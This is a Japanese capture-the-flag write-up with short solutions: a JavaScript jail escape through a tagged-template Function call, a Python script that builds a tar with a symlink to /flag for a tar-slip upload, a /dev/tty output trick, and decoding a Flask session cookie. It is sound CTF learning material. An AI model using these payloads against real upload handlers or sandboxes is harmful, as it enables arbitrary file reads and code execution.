Index
入力が [A-z] 制限だが、これは英字制限ではなく `[\]^_\`` も通る。
Functionを取り、タグ付きテンプレートリテラルで任意コード実行できる。
Function`throw\\x20process.env.FLAG```
※ 作問者writeupより:そもそも例外が出るならundefined[process.env.FLAG]で十分という気づき
tar slipの問題。
TarFile.extractall() が symlink をそのまま展開するので、/flag.txt へのリンクを tar に含めて upload。
払い出された UUID 配下の /static/<uuid>/flag.txt を読む。(相対パスでUUID無視も可)
import tarfile
with tarfile.open("evil.tar", "w") as tar:
info = tarfile.TarInfo("flag")
info.type = tarfile.SYMTYPE
info.linkname = "/flag"
tar.addfile(info)
cat flag.txt > の出力先だけ 10 文字で指定可能。/dev/tty を入れると stdout=DEVNULL を迂回できる。
※ 制御端末の存在はDockerfileの下記内容から確認できる
CMD ["socat", "TCP-L:1337,fork,reuseaddr", "EXEC:'python jail.py',stderr,pty,ctty,setsid,echo=0"]
自分の名前が出てびっくり。privateで見たらログインが必要な問題となっているので閲覧者自身の名前になっているようだ。 試しに例のものを送ったら通った。
Flask の session は署名のみで暗号化されていない。session cookie を base64 + zlib 展開すれば message 内に flag が平文で入っている。
デコードツールに丸投げ。
flask-unsign --unsign --cookie '.eJwlyzELwjAQhuG_cmRxcagUEbqJk6uDk3Cc5msNxlzJGaWU_ncjbi8PvLN7wkwGuM6d1GAkGZTh15d0Dhrx-ss1FlQ6rt6ge_AeiYT6KEO1X9bTgibqNdOkpaN9HOUm80GbxwbGklu2D9odS_K81QrgqSmLW77kUS59.ac8uLA.B2qjGuzpRtc0Xqu0CVxrYmRBmHw'